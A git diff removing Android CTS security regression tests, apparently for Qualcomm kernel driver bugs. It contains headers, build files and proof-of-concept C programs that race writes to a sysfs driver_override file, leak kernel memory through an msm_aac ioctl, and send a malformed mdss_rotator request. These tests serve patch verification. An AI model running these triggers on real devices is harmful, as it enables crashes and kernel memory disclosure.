-#define SND_AVC_CTL _IOW(SND_IOCTL_MAGIC, 6, unsigned *)
-#define SND_AGC_CTL _IOW(SND_IOCTL_MAGIC, 7, unsigned *)
-
-/*return the number of CAD endpoints supported. */
-
-#define CAD_GET_NUM_ENDPOINTS _IOR(SND_IOCTL_MAGIC, 4, unsigned *)
-
-struct msm_cad_endpoint {
- int id; /* input and output */
- char name[64]; /* output only */
-};
-
-/* Takes an index between 0 and one less than the number returned by
- * SND_GET_NUM_ENDPOINTS, and returns the CAD index and name of a
- * CAD endpoint. On input, the .id field contains the number of the
- * endpoint, and on exit it contains the SND index, while .name contains
- * the description of the endpoint.
- */
-
-#define CAD_GET_ENDPOINT _IOWR(SND_IOCTL_MAGIC, 5, struct msm_cad_endpoint *)
-
-struct msm_audio_pcm_config {
- uint32_t pcm_feedback; /* 0 - disable > 0 - enable */
- uint32_t buffer_count; /* Number of buffers to allocate */
- uint32_t buffer_size; /* Size of buffer for capturing of
- PCM samples */
-};
-
-#define AUDIO_EVENT_SUSPEND 0
-#define AUDIO_EVENT_RESUME 1
-#define AUDIO_EVENT_WRITE_DONE 2
-#define AUDIO_EVENT_READ_DONE 3
-#define AUDIO_EVENT_STREAM_INFO 4
-#define AUDIO_EVENT_BITSTREAM_ERROR_INFO 5
-
-#define AUDIO_CODEC_TYPE_MP3 0
-#define AUDIO_CODEC_TYPE_AAC 1
-
-struct msm_audio_bitstream_info {
- uint32_t codec_type;
- uint32_t chan_info;
- uint32_t sample_rate;
- uint32_t bit_stream_info;
- uint32_t bit_rate;
- uint32_t unused[3];
-};
-
-struct msm_audio_bitstream_error_info {
- uint32_t dec_id;
- uint32_t err_msg_indicator;
- uint32_t err_type;
-};
-
-union msm_audio_event_payload {
- struct msm_audio_aio_buf aio_buf;
- struct msm_audio_bitstream_info stream_info;
- struct msm_audio_bitstream_error_info error_info;
- int reserved;
-};
-
-struct msm_audio_event {
- int event_type;
- int timeout_ms;
- union msm_audio_event_payload event_payload;
-};
-
-#define MSM_SNDDEV_CAP_RX 0x1
-#define MSM_SNDDEV_CAP_TX 0x2
-#define MSM_SNDDEV_CAP_VOICE 0x4
-
-struct msm_snd_device_info {
- uint32_t dev_id;
- uint32_t dev_cap; /* bitmask describe capability of device */
- char dev_name[64];
-};
-
-struct msm_snd_device_list {
- uint32_t num_dev; /* Indicate number of device info to be retrieved */
- struct msm_snd_device_info *list;
-};
-
-struct msm_dtmf_config {
- uint16_t path;
- uint16_t dtmf_hi;
- uint16_t dtmf_low;
- uint16_t duration;
- uint16_t tx_gain;
- uint16_t rx_gain;
- uint16_t mixing;
-};
-
-#define AUDIO_ROUTE_STREAM_VOICE_RX 0
-#define AUDIO_ROUTE_STREAM_VOICE_TX 1
-#define AUDIO_ROUTE_STREAM_PLAYBACK 2
-#define AUDIO_ROUTE_STREAM_REC 3
-
-struct msm_audio_route_config {
- uint32_t stream_type;
- uint32_t stream_id;
- uint32_t dev_id;
-};
-
-#define AUDIO_MAX_EQ_BANDS 12
-
-struct msm_audio_eq_band {
- uint16_t band_idx; /* The band index, 0 .. 11 */
- uint32_t filter_type; /* Filter band type */
- uint32_t center_freq_hz; /* Filter band center frequency */
- uint32_t filter_gain; /* Filter band initial gain (dB) */
- /* Range is +12 dB to -12 dB with 1dB increments. */
- uint32_t q_factor;
-} __attribute__((packed));
-
-struct msm_audio_eq_stream_config {
- uint32_t enable; /* Number of consequtive bands specified */
- uint32_t num_bands;
- struct msm_audio_eq_band eq_bands[AUDIO_MAX_EQ_BANDS];
-} __attribute__((packed));
-
-struct msm_acdb_cmd_device {
- uint32_t command_id;
- uint32_t device_id;
- uint32_t network_id;
- uint32_t sample_rate_id; /* Actual sample rate value */
- uint32_t interface_id; /* See interface id's above */
- uint32_t algorithm_block_id; /* See enumerations above */
- uint32_t total_bytes; /* Length in bytes used by buffer */
- uint32_t *phys_buf; /* Physical Address of data */
-};
-
-struct msm_hwacc_data_config {
- __u32 buf_size;
- __u32 num_buf;
- __u32 num_channels;
- __u8 channel_map[8];
- __u32 sample_rate;
- __u32 bits_per_sample;
-};
-
-struct msm_hwacc_buf_cfg {
- __u32 input_len;
- __u32 output_len;
-};
-
-struct msm_hwacc_buf_avail {
- __u32 input_num_avail;
- __u32 output_num_avail;
-};
-
-struct msm_hwacc_effects_config {
- struct msm_hwacc_data_config input;
- struct msm_hwacc_data_config output;
- struct msm_hwacc_buf_cfg buf_cfg;
- __u32 meta_mode_enabled;
- __u32 overwrite_topology;
- __s32 topology;
-};
-
-#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/poc.c b/hostsidetests/security/securityPatch/Bug-35676417/poc.c
deleted file mode 100644
index 0807183..0000000
--- a/hostsidetests/security/securityPatch/Bug-35676417/poc.c
+++ /dev/null
@@ -1,114 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <string.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/ion.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-
-#include "local_poc.h"
-
-#define MAX_THREAD 1
-int fd;
-int cmd;
-int status[MAX_THREAD];
-char *buf;
-
-void *threadEntry(void *arg) {
- int ret;
- int index = (int)(unsigned long)arg;
-
- if (index < 0 || index >= MAX_THREAD) goto failed;
-
- status[index] = 1;
-
- while (cmd == 0) {
- usleep(10);
- }
-
- if (cmd == -1) goto failed;
-
- usleep(10);
- write(fd, buf, 64);
-failed:
- status[index] = 2;
- return NULL;
-}
-
-int main(int argc, char **argv) {
- int ret, i;
- pthread_t tid[MAX_THREAD];
- int pc = 2;
-
- int count = 0;
-
- while (pc-- > 0) fork();
-
- buf = (char *)malloc(4096);
- if (!buf) return -1;
-
- memset(buf, 0x0, 4096);
- for (i = 0; i < 62; i++) buf[i] = 'g';
-
-retry:
- cmd = 0;
- for (i = 0; i < MAX_THREAD; i++) status[i] = 0;
-
- fd = open("/sys/devices/soc/7544000.qcom,sps-dma/driver_override", O_WRONLY);
- if (fd < 0) {
- return -1;
- }
-
- for (i = 0; i < MAX_THREAD; i++) {
- ret = pthread_create(&tid[i], NULL, threadEntry, (void *)(unsigned long)i);
- if (ret != 0) {
- cmd = -1;
- goto failed;
- }
- }
-
- while (status[0] != 1) {
- usleep(50);
- }
-
- cmd = 1;
- usleep(10);
- ret = write(fd, buf, 64);
- while (status[0] != 2) {
- usleep(50);
- }
-
-failed:
- count++;
- close(fd);
- if (count < 1000) {
- goto retry;
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35764875/Android.mk b/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
deleted file mode 100644
index e62bdd2..0000000
--- a/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35764875
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35764875/poc.c b/hostsidetests/security/securityPatch/Bug-35764875/poc.c
deleted file mode 100644
index 4b42cf2..0000000
--- a/hostsidetests/security/securityPatch/Bug-35764875/poc.c
+++ /dev/null
@@ -1,128 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/wait.h>
-
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-
-#include <android/log.h>
-#include <jni.h>
-#include <linux/kdev_t.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-#include <dirent.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <net/if.h>
-#include <pthread.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h> /* See NOTES */
-#include <unistd.h>
-
-typedef unsigned int __u32;
-typedef unsigned char __u8;
-typedef signed int s32;
-typedef unsigned int u32;
-typedef unsigned short u16;
-
-typedef u32 compat_uptr_t;
-struct msm_audio_aio_buf32 {
- compat_uptr_t buf_addr;
- u32 buf_len;
- u32 data_len;
- compat_uptr_t private_data;
- u16 mfield_sz; /*only useful for data has meta field */
-};
-
-struct msm_audio_bitstream_info32 {
- u32 codec_type;
- u32 chan_info;
- u32 sample_rate;
- u32 bit_stream_info;
- u32 bit_rate;
- u32 unused[3];
-};
-
-struct msm_audio_bitstream_error_info32 {
- u32 dec_id;
- u32 err_msg_indicator;
- u32 err_type;
-};
-
-union msm_audio_event_payload32 {
- struct msm_audio_aio_buf32 aio_buf;
- struct msm_audio_bitstream_info32 stream_info;
- struct msm_audio_bitstream_error_info32 error_info;
- s32 reserved;
-};
-
-struct msm_audio_event32 {
- s32 event_type;
- s32 timeout_ms;
- union msm_audio_event_payload32 event_payload;
-};
-
-void print_bytes(u32* buf, size_t size) {
- size_t i;
- for (i = 0; i < size; i++) {
- printf("%08x", i, (unsigned int)buf[i]);
- }
- printf("\n");
-}
-
-#define AUDIO_IOCTL_MAGIC 'a'
-#define AUDIO_GET_EVENT_32 _IOR(AUDIO_IOCTL_MAGIC, 13, struct msm_audio_event32)
-int main(int argc, char* argv[]) {
- int trycount = 0;
- int fd;
- pthread_t tid1, tid2;
- int ret = 0;
- struct msm_audio_event32 event32, event32_dup;
-
- fd = open("/dev/msm_aac", O_NONBLOCK | O_RDWR, 0660);
-
- if (fd < 0) {
- perror("open");
- return -1;
- }
-
- memset(&event32_dup, 0, sizeof(event32_dup));
- event32_dup.timeout_ms = 1;
-
- for (int i = 0;i < 10000; i++) {
- memcpy(&event32, &event32_dup, sizeof(event32_dup));
- ret = ioctl(fd, AUDIO_GET_EVENT_32, &event32);
-
- if (memcmp(&event32, &event32_dup, sizeof(event32)) != 0) {
- printf("information leaked, trycount=%d, rc=%d, event_type=%d\n",
- trycount, ret, event32.event_type);
- print_bytes((u32*)&event32, sizeof(event32) / sizeof(u32));
- }
-
- trycount++;
-
- usleep(100);
- }
-
- close(fd);
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35950388/Android.mk b/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
deleted file mode 100644
index 824e86f..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35950388
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-LOCAL_C_INCLUDES += include
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35950388/local_poc.h b/hostsidetests/security/securityPatch/Bug-35950388/local_poc.h
deleted file mode 100644
index b96e307..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950388/local_poc.h
+++ /dev/null
@@ -1,335 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-# define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-# define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-# define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-# define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-# define _IOC_READ 2U
-#endif
-
-
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir,type,nr,size) \
- (((dir) << _IOC_DIRSHIFT) | \
- ((type) << _IOC_TYPESHIFT) | \
- ((nr) << _IOC_NRSHIFT) | \
- ((size) << _IOC_SIZESHIFT))
-
-
-
-/* used to create numbers */
-#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
-#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-
-
-
-struct mult_factor {
- uint32_t numer;
- uint32_t denom;
-};
-
-struct mdp_rotation_buf_info {
- uint32_t width;
- uint32_t height;
- uint32_t format;
- struct mult_factor comp_ratio;
-};
-
-struct mdp_rotation_config {
- uint32_t version;
- uint32_t session_id;
- struct mdp_rotation_buf_info input;
- struct mdp_rotation_buf_info output;
- uint32_t frame_rate;
- uint32_t flags;
- uint32_t reserved[6];
-};
-
-
-struct mdp_rect {
- uint32_t x;
- uint32_t y;
- uint32_t w;
- uint32_t h;
-};
-
-
-
-
-struct mdp_layer_plane {
- /* DMA buffer file descriptor information. */
- int fd;
-
- /* Pixel offset in the dma buffer. */
- uint32_t offset;
-
- /* Number of bytes in one scan line including padding bytes. */
- uint32_t stride;
-};
-
-#define MAX_PLANES 4
-
-
-struct mdp_layer_buffer {
- /* layer width in pixels. */
- uint32_t width;
-
- /* layer height in pixels. */
- uint32_t height;
-
- /*
- * layer format in DRM-style fourcc, refer drm_fourcc.h for
- * standard formats
- */
- uint32_t format;
-
- /* plane to hold the fd, offset, etc for all color components */
- struct mdp_layer_plane planes[MAX_PLANES];
-
- /* valid planes count in layer planes list */
- uint32_t plane_count;
-
- /* compression ratio factor, value depends on the pixel format */
- struct mult_factor comp_ratio;
-
- /*
- * SyncFence associated with this buffer. It is used in two ways.
- *
- * 1. Driver waits to consume the buffer till producer signals in case
- * of primary and external display.
- *
- * 2. Writeback device uses buffer structure for output buffer where
- * driver is producer. However, client sends the fence with buffer to
- * indicate that consumer is still using the buffer and it is not ready
- * for new content.
- */
- int fence;
-
- /* 32bits reserved value for future usage. */
- uint32_t reserved;
-};
-
-
-struct mdp_rotation_item {
- /* rotation request flag */
- uint32_t flags;
-
- /* Source crop rectangle */
- struct mdp_rect src_rect;
-
- /* Destination rectangle */
- struct mdp_rect dst_rect;
-
- /* Input buffer for the request */
- struct mdp_layer_buffer input;
-
- /* The output buffer for the request */
- struct mdp_layer_buffer output;
-
- /*
- * DMA pipe selection for this request by client:
- * 0: DMA pipe 0
- * 1: DMA pipe 1
- * or MDSS_ROTATION_HW_ANY if client wants
- * driver to allocate any that is available
- */
- uint32_t pipe_idx;
-
- /*
- * Write-back block selection for this request by client:
- * 0: Write-back block 0
- * 1: Write-back block 1
- * or MDSS_ROTATION_HW_ANY if client wants
- * driver to allocate any that is available
- */
- uint32_t wb_idx;
-
- /* Which session ID is this request scheduled on */
- uint32_t session_id;
-
- /* 32bits reserved value for future usage */
- uint32_t reserved[6];
-};
-
-struct mdp_rotation_request {
- /* 32bit version indicates the request structure */
- uint32_t version;
-
- uint32_t flags;
-
- /* Number of rotation request items in the list */
- uint32_t count;
-
- /* Pointer to a list of rotation request items */
- struct mdp_rotation_item __user *list;
-
- /* 32bits reserved value for future usage*/
- uint32_t reserved[6];
-};
-
-#define MDSS_ROTATOR_IOCTL_MAGIC 'w'
-
-/* open a rotation session */
-#define MDSS_ROTATION_OPEN \
- _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 1, struct mdp_rotation_config *)
-
-/* change the rotation session configuration */
-#define MDSS_ROTATION_CONFIG \
- _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 2, struct mdp_rotation_config *)
-
-/* queue the rotation request */
-#define MDSS_ROTATION_REQUEST \
- _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 3, struct mdp_rotation_request *)
-
-/* close a rotation session with the specified rotation session ID */
-#define MDSS_ROTATION_CLOSE _IOW(MDSS_ROTATOR_IOCTL_MAGIC, 4, unsigned int)
-
-
-
-
-#define MDP_IMGTYPE_END 0x100
-#define MDP_IMGTYPE2_START 0x10000
-
-enum {
- MDP_RGB_565, /* RGB 565 planer */
- MDP_XRGB_8888, /* RGB 888 padded */
- MDP_Y_CBCR_H2V2, /* Y and CbCr, pseudo planer w/ Cb is in MSB */
- MDP_Y_CBCR_H2V2_ADRENO,
- MDP_ARGB_8888, /* ARGB 888 */
- MDP_RGB_888, /* RGB 888 planer */
- MDP_Y_CRCB_H2V2, /* Y and CrCb, pseudo planer w/ Cr is in MSB */
- MDP_YCRYCB_H2V1, /* YCrYCb interleave */
- MDP_CBYCRY_H2V1, /* CbYCrY interleave */
- MDP_Y_CRCB_H2V1, /* Y and CrCb, pseduo planer w/ Cr is in MSB */
- MDP_Y_CBCR_H2V1, /* Y and CrCb, pseduo planer w/ Cr is in MSB */
- MDP_Y_CRCB_H1V2,
- MDP_Y_CBCR_H1V2,
- MDP_RGBA_8888, /* ARGB 888 */
- MDP_BGRA_8888, /* ABGR 888 */
- MDP_RGBX_8888, /* RGBX 888 */
- MDP_Y_CRCB_H2V2_TILE, /* Y and CrCb, pseudo planer tile */
- MDP_Y_CBCR_H2V2_TILE, /* Y and CbCr, pseudo planer tile */
- MDP_Y_CR_CB_H2V2, /* Y, Cr and Cb, planar */
- MDP_Y_CR_CB_GH2V2, /* Y, Cr and Cb, planar aligned to Android YV12 */
- MDP_Y_CB_CR_H2V2, /* Y, Cb and Cr, planar */
- MDP_Y_CRCB_H1V1, /* Y and CrCb, pseduo planer w/ Cr is in MSB */
- MDP_Y_CBCR_H1V1, /* Y and CbCr, pseduo planer w/ Cb is in MSB */
- MDP_YCRCB_H1V1, /* YCrCb interleave */
- MDP_YCBCR_H1V1, /* YCbCr interleave */
- MDP_BGR_565, /* BGR 565 planer */
- MDP_BGR_888, /* BGR 888 */
- MDP_Y_CBCR_H2V2_VENUS,
- MDP_BGRX_8888, /* BGRX 8888 */
- MDP_RGBA_8888_TILE, /* RGBA 8888 in tile format */
- MDP_ARGB_8888_TILE, /* ARGB 8888 in tile format */
- MDP_ABGR_8888_TILE, /* ABGR 8888 in tile format */
- MDP_BGRA_8888_TILE, /* BGRA 8888 in tile format */
- MDP_RGBX_8888_TILE, /* RGBX 8888 in tile format */
- MDP_XRGB_8888_TILE, /* XRGB 8888 in tile format */
- MDP_XBGR_8888_TILE, /* XBGR 8888 in tile format */
- MDP_BGRX_8888_TILE, /* BGRX 8888 in tile format */
- MDP_YCBYCR_H2V1, /* YCbYCr interleave */
- MDP_RGB_565_TILE, /* RGB 565 in tile format */
- MDP_BGR_565_TILE, /* BGR 565 in tile format */
- MDP_ARGB_1555, /*ARGB 1555*/
- MDP_RGBA_5551, /*RGBA 5551*/
- MDP_ARGB_4444, /*ARGB 4444*/
- MDP_RGBA_4444, /*RGBA 4444*/
- MDP_RGB_565_UBWC,
- MDP_RGBA_8888_UBWC,
- MDP_Y_CBCR_H2V2_UBWC,
- MDP_RGBX_8888_UBWC,
- MDP_Y_CRCB_H2V2_VENUS,
- MDP_IMGTYPE_LIMIT,
- MDP_RGB_BORDERFILL, /* border fill pipe */
- MDP_XRGB_1555,
- MDP_RGBX_5551,
- MDP_XRGB_4444,
- MDP_RGBX_4444,
- MDP_ABGR_1555,
- MDP_BGRA_5551,
- MDP_XBGR_1555,
- MDP_BGRX_5551,
- MDP_ABGR_4444,
- MDP_BGRA_4444,
- MDP_XBGR_4444,
- MDP_BGRX_4444,
- MDP_ABGR_8888,
- MDP_XBGR_8888,
- MDP_RGBA_1010102,
- MDP_ARGB_2101010,
- MDP_RGBX_1010102,
- MDP_XRGB_2101010,
- MDP_BGRA_1010102,
- MDP_ABGR_2101010,
- MDP_BGRX_1010102,
- MDP_XBGR_2101010,
- MDP_RGBA_1010102_UBWC,
- MDP_RGBX_1010102_UBWC,
- MDP_Y_CBCR_H2V2_P010,
- MDP_Y_CBCR_H2V2_TP10_UBWC,
- MDP_CRYCBY_H2V1, /* CrYCbY interleave */
- MDP_IMGTYPE_LIMIT1 = MDP_IMGTYPE_END,
- MDP_FB_FORMAT = MDP_IMGTYPE2_START, /* framebuffer format */
- MDP_IMGTYPE_LIMIT2 /* Non valid image type after this enum */
-};
-
-#endif
-
diff --git a/hostsidetests/security/securityPatch/Bug-35950388/poc.c b/hostsidetests/security/securityPatch/Bug-35950388/poc.c
deleted file mode 100644
index c084a47..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950388/poc.c
+++ /dev/null
@@ -1,95 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-#define GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/ion.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include "local_poc.h"
-
-int fd;
-int id;
-
-int main(int argc, char **argv) {
- int ret, i, count;
- struct mdp_rotation_request req;
- struct mdp_rotation_item item;
-
- struct mdp_rotation_config config;
-
- fd = open("/dev/mdss_rotator", O_RDONLY, 0);
- if (fd < 0) {
- return -1;
- }
-
- config.input.format = MDP_Y_CBCR_H2V2;
- config.output.format = MDP_Y_CBCR_H2V2;
- config.input.height = 4;
- config.input.width = 4;
- config.output.height = 4;
- config.output.width = 4;
- config.flags = 0;
- ret = ioctl(fd, MDSS_ROTATION_OPEN, &config);
- if (ret < 0) {
- goto failed;
- } else {
- id = config.session_id;
- }
-
- item.wb_idx = 0xFFFFFFFF;
- item.pipe_idx = item.wb_idx;
- item.session_id = id;
-
- item.src_rect.w = config.input.width;
- item.src_rect.h = config.input.height;
- item.input.format = config.input.format;
-
- item.dst_rect.w = config.output.width;
- item.dst_rect.h = config.output.height;
- item.output.format = config.output.format;
-
- item.src_rect.x = 1;
- item.src_rect.y = 1;
- item.dst_rect.x = 1;
- item.dst_rect.y = 1;
-
- item.input.width = 8;
- item.input.height = 8;
- item.output.height = 8;
- item.output.width = 8;
-
- item.input.plane_count = 0x0000FFFF;
- req.count = 1;
- req.list = &item;
- req.flags = 0;
- ret = ioctl(fd, MDSS_ROTATION_REQUEST, &req);
-
- failed:
- close(fd);
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35950805/Android.mk b/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
deleted file mode 100644
index 11c4e46..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35950805
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35950805/local_poc.h b/hostsidetests/security/securityPatch/Bug-35950805/local_poc.h
deleted file mode 100644
index 4988225..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950805/local_poc.h
+++ /dev/null
@@ -1,293 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-#ifndef __CMD_H__
